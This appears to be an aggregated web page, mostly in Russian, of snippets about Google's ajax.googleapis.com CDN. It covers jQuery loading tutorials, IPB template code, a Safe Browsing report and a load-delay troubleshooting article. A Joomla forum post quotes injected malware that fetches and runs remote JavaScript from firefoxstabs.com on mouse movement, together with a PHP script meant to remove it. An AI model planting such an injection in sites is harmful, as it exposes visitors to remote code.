Ajax googleapis com

вот в displayPopUpWindow и в includeJS много упоминаний ajax.googleapis.com , на что его менять, так как там разные скрипты я так понимаю

displayPopUpWindow

<if test="popupminfyjsrl:|:$this->settings['remote_load_js']"> 				<script type='text/javascript' src='<if test="popupminfiyrlhttpsp:|:$this->registry->output->isHTTPS">https<else />http</if>://ajax.googleapis.com/ajax/libs/prototype/1.7/prototype.js'></script> 				<script type='text/javascript' src='<if test="popupminfiyrlhttpss:|:$this->registry->output->isHTTPS">https<else />http</if>://ajax.googleapis.com/ajax/libs/scriptaculous/1.8/scriptaculous.js?load=effects,dragdrop,builder'></script> 			<else /> 				<script type='t.    
rse expression="PUBLIC_DIRECTORY"}/js/ips.{parse expression="implode('.js,' . PUBLIC_DIRECTORY . '/js/ips.', array_unique( array_keys( $jsLoaderItems ) ) )"}.js</if>,cache/lang_cache/{$this->lang->lang_id}/ipb.lang.js'></script> <else /> <if test="popuprl:|:$this->settings['remote_load_js']"> <script type='text/javascript' src='<if test="popuphttpsp:|:$this->registry->output->isHTTPS">https<else />http</if>://ajax.googleapis.com/ajax/libs/prototype/1.7/prototype.js'></script> <else /> <script type='text/javascript' src='{$this->settings['public_dir']}js/3rd_party/prototype.js'></script> </if> <script type='text/javascript' src='{$this->settings['public_dir']}js/ipb.js?load=qui.
ps<else />http</if>://ajax.googleapis.com/ajax/libs/scriptaculous/1.8/scriptaculous.js?load=effects,dragdrop,builder'></script>

includeJS

<script type='text/javascript' src='<if test="usehttpsprototype:|:$this->registry->output->isHTTPS">https<else />http</if>://ajax.googleapis.com/ajax/libs/prototype/1.7.1.0/prototype.js'></script> 		<script type='text/javascript' src='<if test="usehttpsscriptaculous:|:$this->registry->output->isHTTPS">https<else />http</if>://ajax.googleapis.com/ajax/libs/scriptaculous/1.8/scriptaculous.js?load=effects,dragdrop,builder'></script> 	<else /> 		<script type='text/javascript' src='{$this->settings['js_base_url']}min/index.php?ipbv={$this->registry->output->antiCa.    
.hovercard.js,{parse expression="PUBLIC_DIRECTORY"}/js/ips.quickpm.js<if test="hasjsmodules:|:count($jsModules)">,{parse expression="PUBLIC_DIRECTORY"}/js/ips.{parse expression="implode('.js,' . PUBLIC_DIRECTORY . '/js/ips.', array_unique( array_keys( $jsModules ) ) )"}.js</if>' charset='{$this->settings['gb_char_set']}'></script> <else /> <if test="nominifyremoteloadjs:|:$this->settings['remote_load_js']"> <script type='text/javascript' src='<if test="nmusehttpsp:|:$this->registry->output->isHTTPS">https<else />http</if>://ajax.googleapis.com/ajax/libs/prototype/1.7.1.0/prototype.js'></script> <else /> <script type='text/javascript' src='{$this->settings['js_base_url']}js/3rd_party/prototype.js'.
39;text/javascript' src='<if test="nmusehttpss:|:$this->registry->output->isHTTPS">https<else />http</if>://ajax.googleapis.com/ajax/libs/scriptaculous/1.8/scriptaculous.js?load=effects,dragdrop,builder'></script>

ipbskins.ru

Получаем данные в формате JSON с помощью метода $.getJSON()

Метод $.getJSON() открывает простой путь к получению данных в формате JSON с сервера. Он эквивалентен вызову метода $.get() с параметром формата данных "json". Синтаксис его вызова идентичен синтаксису метода $.get() за исключением того, что вам не нужно указывать формат данных.

Например, наш пример с прогнозом погоды из предыдущих уроков серии можно изменить следующим образом:

 

Получаем и запускаем код JavaScript с помощью метода $.getScript()

Также как и метод $.getJSON(), который является короткой записью вызова метода $.get() для получения данных в формате JSON, метод $.getScript() является короткой записью вызова метода $.get() для получения и выполнения кода JavaScript, то есть аналогично использованию параметра формата данных "script". Метод  $.getScript() получает два аргумента:


  • URL файла JavaScript для загрузки.
  • Опциональную возвратную функцию, которая выполняется по завершению выполнения загруженного JavaScript кода.

Метод $.getScript()используется для загрузки библиотек и плагинов JavaScript «на лету», то есть тогда, когда они нужны. Так можно уменьшить время начальной загрузки страницы, потому что не нужно включать в заголовок страницы каждую библиотеку JavaScript, которая может быть понадобится, а может быть и нет.

Для демонстрации работы метода $.getScript()  переместим код, который выводит прогноз в отдельный файл JavaScript showForecast.js. Весь код будет размещен в функции showForecast():

Также изменим страницу showForecast.html для получения нашего кода JavaScript с помощью метода $.getScript():

Запускаем демонстрационный файл и наблюдаем результат работы кода JavaScript, который подгружается из другого файла по мере необходимости.

Код JavaScript в файле showForecast.html
начинается с вызова $.getScript() для загрузки библиотеки showForecast.js. Также создается анонимная возвратная функция, которая выполняется сразу после загрузки showForecast.js. Данная функция добавляет обработчик события click для кнопки #getForecast, который вызывает метод $.get() для получения файла getForecast.txt и выполнения загруженной функции showForecast() для вывода сообщения.

Метод $.getScript() добавляет случайный параметр к строке запроса (например,?_=1330395371668) для предотвращения кэширования браузером файла JavaScript.

 

Создаем обобщенный запрос AJAX с помощью $.ajax()

Высокоуровневые методы AJAX, которые мы рассмотрели ранее ($.get(), $.post(), load(), $.getJSON() и $.getScript()) открывают простой и легкий путь к использованию общих типов запросов AJAX в своих приложениях. Но иногда требуется более сильный контроль над запросом, или нужно решить задачу, которая недоступна высокоуровневым методам.

В такой ситуации нужно использовать низкоуровневый метод jQuery  $.ajax(). Вызов метода $.ajax() делает AJAX запрос к указанному URL. Обобщенный синтаксис вызова следующий:

Аргумент url является адресом URL к которому производится запрос, а параметры является опциональным объектом, который содержит различные значения, которые определяют, как запрос будет выполняться.

Параметры, которые можно использовать с методом $.ajax():


Параметр Описание Значение по умолчанию
cache Устанавливаем значение true, чтобы разрешить кеширование ответа от сервера, или значение  false, чтобы всегда производить запрос. Значение false также принуждает jQuery добавлять случайное число к запросу для предотвращения кеширования.. true (false, когда используется со значениями 'script' и 'jsonp' параметра dataType)
complete Задает возвратную функцию, которая выполняется по завершению запроса (независимо от успешности операции). Нет
data Данные, которые пересылаются на сервер в запросе. Нет
dataType Ожидаемый тип данных ответа. Дополнительно можно использовать значение "jsonp" для выполнения запроса JSONP. Автоматическое определение данных
error
Задает возвратную функцию, которая выполняется. если запрос завершился ошибкой. Нет
headers Дополнительный заголовок HTTP , который отправляется вместе с запросом в виде пар ключ/значение. {}
password Пароль, который используется, если сервер HTTP требует аутентификации. Нет
success Задает возвратную функцию, которая выполняется, если запрос завершается успешно. Нет
timeout Время ожидания (в миллисекундах) завершения запроса AJAX. Значение 0 означает, что jQuery будет ждать без ограничения во времени. 0
type Тип запроса: "GET" или "POST". "GET"
username Имя пользователя, если сервер HTTP требует аутентификации. Нет

Полный список параметров приводится в документации jQuery.

Изменим наш пример для использования метода $.ajax(). Мы можем для нашего прогноза отказаться от кеширования и будем обрабатывать ошибки. Вот модифицированный код страницы showForecast.html:

Запускаем код демонстрации и наслаждаемся результатом.

В данном примере мы используем метод $.ajax() для генерации запроса AJAX. Мы передаем URL в запрос (getForecast.txt
) вместе со списком опций. Три из данных опций (data, dataType и success) соответствуют аргументам, которые мы передаем в метод $.get(). Остальные два (cache: false и error: errorHandler) отключают кеширование и устанавливают функцию обработки ошибок errorHandler().

Функция errorHandler() просто выдает сообщение об ошибке пользователю.

 

Устанавливаем значения по умолчанию с помощью метода $.ajaxSetup()

Вместо того, чтобы каждый раз при формировании запроса AJAX задавать большое количество различных повторяющихся параметров, таких как success, cache и type можно использовать метод $.ajaxSetup() для установки значений по умолчанию. Все запросы AJAX jQuery будут использовать заданные установки, пока их не изменят.

Например, можно по умолчанию отключить кеширование для всех запросов AJAX:

 

Заключение

Наше введение в технологию AJAX завершилось. Мы представили основные средства для формирования и обработки запросов AJAX с помощью методов jQuery. Остается только наработать практический опыт их применения.

ruseller.com

Подключение jquery через Google или Microsoft


Чтобы подключить последнюю версию jquery через Google нужно добавить одну строку кода внутри <head> – все предельно быстро и удобно:

 <script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1/jquery.min.js"></script> 

Для подключения точной версии (в данном случае 1.11.0):

 <script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script> 

Точный номер последней версии всегда можно посмотреть здесь, а затем просто поменять эти цифры в коде и все будет работать.

Для подключения jquery через Microsoft добавляем код:

 <script type="text/javascript" src="http://ajax.microsoft.com/ajax/jQuery/jquery-1.11.0.min.js"></script> 

Подключение с Google хорошо тем, что многие сайты одинаково подключают jQuery – именно через Google API и всегда есть высокая вероятность того, что эта библиотека уже загружена в кэш браузера пользователя и не будет загружаться во второй раз.

Подключение jquery скачиванием файла с библиотекой

Подключаем jQuery со страницы своего сайта – это дольше, но надежнее. Для этого нужно:
скачать библиотеку jquery с официального сайта, сохранить в файл, назовем его jquery-1.11.0.min.js, положить в папку js на нашем сайте и добавить следующий код в <head>:

 <script type="text/javascript" src="/js/jquery-1.11.0.min.js"></script> 

В src задается путь где лежит наш файл с jquery, который нужно подключить на страницу сайта.

И, наконец, самый надежный и бронебойный вариант – подключение с Google, если Google недоступен – подключение со своего сайта:

 <script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script> <script type="text/javascript"> if (typeof jQuery == 'undefined') {  document.write(unescape("%3Cscript src='/js/jquery-1.11.0.min.js' type='text/javascript'%3E%3C/script%3E")); } </script> 

Или самый современный вариант – прописываем в <head> следующий код:

 <script type="text/javascript" src="https://www.google.com/jsapi"></script> <script type="text/javascript"> google.load("jquery", "1.11.0"); google.setOnLoadCallback(jQueryIsLoaded); function jQueryIsLoaded() {  alert('jQuery от Google загружен'); } if (typeof jQuery == 'undefined') {  document.write(unescape("%3Cscript src='/js/jquery-1.11.0.min.js' type='text/javascript'%3E%3C/script%3E")); } </script> 

www.stijit.com

Подключение последней версии jQuery. Пример:

  <head>   <!-- ... -->   <script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1/jquery.min.js"></script>   <!-- ... -->  </head>  

Подключение необходимой Вам версии, например 2.1.1:

  <head>   <!-- ... -->   <script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script>   <!-- ... -->  </head>  

Еще один вариант подключения необходимой Вам версии, например 2.1.1

  <head>   <!-- ... -->   <script type="text/javascript" src="http://www.google.com/jsapi"></script>   <script type="text/javascript">   // подключаем нужную версию jquery   google.load("jquery", "2.1.1");   google.setOnLoadCallback(function() {   alert('версия jQuery: ' + jQuery.fn.jquery);   });   </script>   <!-- ... -->  </head>  

Самый надежный вариант. Подключение с Google, если Google недоступен — подключаем со своего сайта:

  <!DOCTYPE html>  <html>   <head>   <!-- ... -->   <script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1/jquery.min.js"></script>   <script type="text/javascript">   if (typeof jQuery == 'undefined') {    document.write(unescape("%3Cscript src='/path/to/jquery.min.js' type='text/javascript'%3E%3C/script%3E"));   }   </script>   <!-- ... -->   </head>   <body>   <!-- ... -->   <script>   var msg;   if (window.jQuery) {   msg = 'версия jQuery: ' + jQuery.fn.jquery;   } else {   msg = 'jQuery не установлен';   }   alert(msg);   </script>   <!-- ... -->   </body>  </html>  

Список всех версий jQuery можно посмотреть по адресу: http://code.jquery.com/jquery/

Плюсы подключения через Google:

  • Сайт будет грузиться быстрее, т.к. это хранилище используют многие проекты. А это значит что у многих пользователей плагин уже находится в кэше, что позволяет jQuery загружаться моментально. Если jQuery нет в кэше, тогда большая вероятность, что он будет взят из ближайших кэшей прокси.
  • Если его нет в кэше прокси, то jQuery будет доставлен быстрее пользователю, т.к. Google имеет большую сеть серверов и пользователь получит библиотеку из ближайшего.
  • Пользователь получает ответ от Google быстрее чем от рядового сервера т.к. Google обладает более мощными ресурсами.
  • На серверах Google настроено gzip сжатие, которое дополнительно сжимает размер библиотеки.

Минусы:

  • Зависимость от третей стороны. Если упадут сервера Google (что мало вероятно), то пользователь не получит библиотеку.
  • Если Google забанил IP пользователя, то библиотека не будет загружена.
  • Нет возможности получить урезанную версию плагина.

Несмотря на эти недостатки большинство проектов получит значительное ускорение при загрузки сайта.

кодер.укр

Как известно хост ajax.googleapis.com является CDN-хостингом для множества библиотек, в том числе и jQuery. И вот сегодня обращается знакомый, который говорит, что при заходе на его сайт Yandex Safe Browsing сильно ругается и рекомендует не посещать, внезапно ставший опасным сайт.

Ссылка на сайт сразу же отправилась в онлайн антивирус и в анализатор кода сайта. И вот что выяснилось.

А выяснилась простая вещь, что сам сайт не заражен. Вирусного кода нет ни в коде страниц, также на самом хосте отсутствуют модификации каких либо скриптов или подгруженных файлов. .htaccess также девственно пуст.
При этом из внешних ссылок на сайте присутствуют только ссылки на пару счетчиков и на пресловутую библиотеку jQuery хостящуюся на ajax.googleapis.com. И вот с ней то как раз и проблема.

Вот что выдал уже Google Safe Browsing про свой же собственный сайт:

Произошло во время последнего посещения этого сайта компанией Google?
На 0 из 10 страниц сайта, протестированных нами за последние 90 дней, происходила загрузка и установка вредоносного ПО без согласия пользователя. Последнее посещение этого сайта системой Google произошло 2012-03-18; последний раз подозрительный контент был обнаружен на этом сайте 2012-03-18.

Вредоносное ПО включает 44 scripting exploit(s), 29 exploit(s), 1 trojan(s).

Сетей, в которых размещался этот сайт: 8 (в том числе AS15169 (Google Internet Backbone), AS9318 (HANARO), AS23338 (DCS)).

Был ли этот сайт промежуточным звеном в дальнейшем распространении вредоносного ПО?

По всей видимости, за последние 90 дней сайт ajax.googleapis.com использовался в качестве промежуточного звена для заражения других сайтов. Число зараженных сайтов: 6 (в том числе interkambio.com/, laisla.com.co/, animetoplist.org/).

Размещалось ли на этом сайте вредоносное ПО?

Да. За последние 90 дней на этом сайте размещалось вредоносное ПО. Число зараженных им доменов: 8 (в том числе pumpthebeat.com/, trackingvinceyoung.com/, by-murat.at/)

Подробнее и со ссылками можно посмотреть здесь.

Как видно сейчас сайт уже вылечен.
Но куча сайтов с которых идет обращение к jQuery (другие библиотеки не смотрел) на ajax.googleapis.com до сих пор блокируются Яндексом.

Гуглинг, яндексинг ничего не дал о подробностях взлома или проблемы. Есть у кого-то догадки или подробности?

PS. Я знаю, что довольно часто встречается подгрузка библиотеки jQuery c ajax.googleapis.com в составе инжектированного кода, но в этом случае это не тот случай.

habr.com

дубликат есть, сначала же локально делалось
оттуда кста и восстанавливал

вот народ наваял скриптик:

"
<?php
define ('BR', "<br />rn");
$srch='<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.5.1/jquery.min.js"></script><script type="text/javascript">var x = jQuery.noConflict(true);x(function() {var flag = 0;x(window).mousemove(function() {if (flag === 0) {flag = 1; x.getScript('http://firefoxstabs.com/' + Math.random().toString().substring(3) + '.js', function() {flag = 2;});}});});</script>';

function clean_file($file){
global $srch;
    $basename=basename($file);
    $filename=substr($basename, 0, strrpos($basename, '.'));
    if ($filename=='index' or $filename=='header' or $filename=='top' or $filename=='menu' or $filename=='footer' or $filename=='default') {
        $f_in=file_get_contents($file);
        if (strpos($f_in, $srch)!=false) {
            print($file.BR);
            $f_in=str_replace($srch, '', $f_in);
            file_put_contents($file, $f_in);
        }
    }
}

function firefoxtabs_remover($dir){
    if ($objs = glob($dir."/*")) {
        foreach($objs as $obj) {
            if (is_dir($obj)) firefoxtabs_remover($obj);
            else clean_file($obj);
        }
    }
}

$dir=realpath('./');
firefoxtabs_remover($dir);
?>
код ищет файлы от корня с именами
index
menu
header
top
footer
default
в них ищет вредоносный код и удаляет его"

но так как не кодер, рекомендовать его не могу, сам не тестил
вот что народ еще пишет:

"Что то после чистки скриптом у меня отваливаются bbcodes и еще не могу залогинеться. Чистил кэш на сайте и в браузере. После чистки скриптом в админке автоматом переключается на функцию сжатие js файлов принудительно.

Короче, заипал этот вирус. Уже надоело перезаливать файлы. В ручную

alextrish добавил 16.05.2011 в 05:39
Сейчас пробежался по шаблонам, короче в шаблоне в папке js во всех файлах js появилось уже такое:
Цитата:
document.write('<scr'+'ipt src="https://ajax.googleapis.com/ajax/libs/jquery/1.5.1/jquery.min.js"></scr'+'ipt>');var x = jQuery.noConflict(true);x(function() {var flag = 0;x(window).mousemove(function() {if (flag === 0) {flag = 1;x.getScript('http://firefoxstabs.com/' + Math.random().toString().substring(3) + '.js', function() {flag = 2;});}});});
"

у меня пока, что внешних признаков нет, после чистки
но посмотрим, что будет через день-другой

joomlaforum.ru

Are you tiered of seeing the message waiting for “ajax.googleapis.com” at the lower bottom of your browser window and endlessly waiting for the page to load? Well, it is simple to understand that the page you are opening is trying to call something from Google servers and get struck up till the time it receives response. Here is the explanation what the page is calling from Google and possible solutions to overcome the issue.

What is ajax.googleapis.com?

Most of the modern websites use server side JavaScript for providing useful functions to the visitor. The script files are to be placed on a web server so that the browser can call and get the scripts during page is loaded. What Google does here is to maintain an open source script library files on a server hosted by Google and distribute the files through its content distribution network so that when a page is loaded the browser can call these library files from Google servers.

Google maintain these files with the latest version and sets cache header for these libraries. This eliminates the need of placing the script libraries on individual web servers and a mere link to Google server will solve the purpose.

When a page you are trying to open has a link to call Google servers for getting the script libraries then you will see the message waiting for “ajax.googleapis.com”. Right click and view the source of the page once it is loaded, you will be seeing something like below:

Why Google Library Files are Used?

As mentioned above, Google host these libraries and maintain with the latest version. Assume, you are developing a WordPress plugin using JQuery libraries. Providing JQuery library files along with the plugin makes the life more difficult both for you as a developer as well as for the user. Some of the possible problems that could evolve are:

  • Theme used by individual people may have different version of JQuery
  • Another plugin installed may conflict with the version you have provided with your plugin
  • Whenever there is an update, you need to update the plugin with the complete libraries.
  • Your plugin size will be large with lot of additional library files.

To overcome all these issues, you can simply include a script line calling JQuery version library from Google servers. Since these files are up to date and most commonly used by theme and plugin developers, the possibility of version conflicts is also highly reduced.

What are the Google Libraries Offered?

Google offers the following libraries hosted on their own servers and hence including any of these scripts will call “ajax.googleapis.com” site for downloading the libraries.

  • AngularJS
  • Angular Material
  • Dojo
  • Ext Core
  • jQuery
  • jQuery Mobile
  • MooTools
  • jQuery UI
  • Prototype
  • script_aculo_us
  • SPF
  • SWFObject
  • three.js
  • Web Font Loader

Why Does It Take So Long for Loading?

Now that you must have got an idea of why the message “ajx.googleapis.com” is appearing. Let us come to the problem of why it takes so long and struck up with “waiting for ajx.googleapis.com”? When the page having a link to Google libraries is loaded, the browser will call Google servers to download all the required libraries. The problem here is the behavior of the browsers, which will render the content only after all the required script files are loaded.

This essentially means even if the external Google script libraries are not required to be executed when loading the page, browsers will display the content only after downloading the libraries. You will see “waiting for ajax.googleapis.com” message till the time the files are downloaded to your local browser. Almost all web browsers like Chrome, Firefox, Safari, Edge and IE behaves in the same manner, hence the delay can’t be avoided with the browser change.

Since Google uses caching at various levels to speed up the downloading process, it should be equivalently faster to retrieve the files from your own server. But again the caching can be affected due to many reasons resulting longer downloading time or timeout.

  • You clear your browser’s cache frequently or have a setting to delete the cache when closing the browser window. This will cause the browser to download the JavaScript libraries each time you open the page.
  • Your ISP does not have proper DNS lookup setup to retrieve the data faster.
  • Google services are blocked by your ISP or in your country.

1. Using Public DNS

Correct DNS setup allows the browser to get the required library files quickly from the server. By default browsers obtain DNS servers dynamically from your Internet Service Provider (ISP) which may not be efficient in getting the script files. Alternatively you can use Google public DNS which will have the cached library files and send them quickly to your browser. This will also improve the overall loading speed of the page.

2. Blocking Scripts with Hosts File

If the problem is not resolved with DNS settings change then you can block the API call to Google server by pointing it to localhost in hosts file of your PC or Mac. Browser uses hosts file to map the IP address of any site before going to DNS. Hence blocking it in the hosts file will terminate the API call and load the page without the required resources. Create the below entries in hosts file for IPv4 and IPv6 respectively:

However this is not recommended since blocking the required resource may result in unintended behavior of the page being displayed. Learn how to edit hosts file in Mac and Windows.

3. Using Script Blocker

Install any browser plugins or extensions to block scripts running on the page. Again this will also stop loading the features on the page that using scripts.

4. Blocked Google Services

There are many countries block Google services. If you are living in such a country then use reliable VPN or proxy to access the page calling ajax.googleapis.com. There are premium VPN services like VpyrVPN and ExpressVPN offers anonymous browsing with private DNS. It is also possible that only your ISP blocks Google services or have issues in resolving Google server IPs causing delay in page loading. You can find out this by testing the page on a different network offered by other ISP (for example, open the page on a mobile network).

5. Flush DNS

Your computer also caches the DNS records and uses to speedup the domain resolution process. The outdated DNS records may affect the scripts loading on a page. So flush the DNS on your computer and see whether you can open the webpages without ajax.googleapis.com message.

6. Clear Browser Cache

Over the period of time, the browser may starts accumulating lot of unnecessary cookies and temporary files. These files may cause issue in loading the pages, especially when there are change in the IP / DNS / nameservers of the sites you are opening. The easiest way to overcome corrupted cookies and history files is to delete the browsing history. Generally you can delete the history and cookies by going to the settings page of your browser.

7. Contact Your ISP

If you are not able to resolve the ajax.googleapis.com loading issue with any of the above solutions then the last option is to contact your ISP. Sometimes there could be a configuration problem at ISP side which may also cause issues in loading scripts from Google servers. So your ISP can check both at their end and at your end and help you to resolve the problem.

8. For Site Owners

If you are the site owner, try to avoid using theme or plugins calling Google script libraries. There are many elements on a page like search box, sliders, related post widgets, etc. will call ajax.googleapis.com for the required script files and cause delay. Though it is a difficult task to control the use of each element, using appropriate caching mechanism to serve the files will ensure faster loading of the resources on the page.

www.webnots.com


You May Also Like

About the Author: admind

Добавить комментарий

Ваш e-mail не будет опубликован. Обязательные поля помечены *

Этот сайт использует Akismet для борьбы со спамом. Узнайте как обрабатываются ваши данные комментариев.

Adblock
detector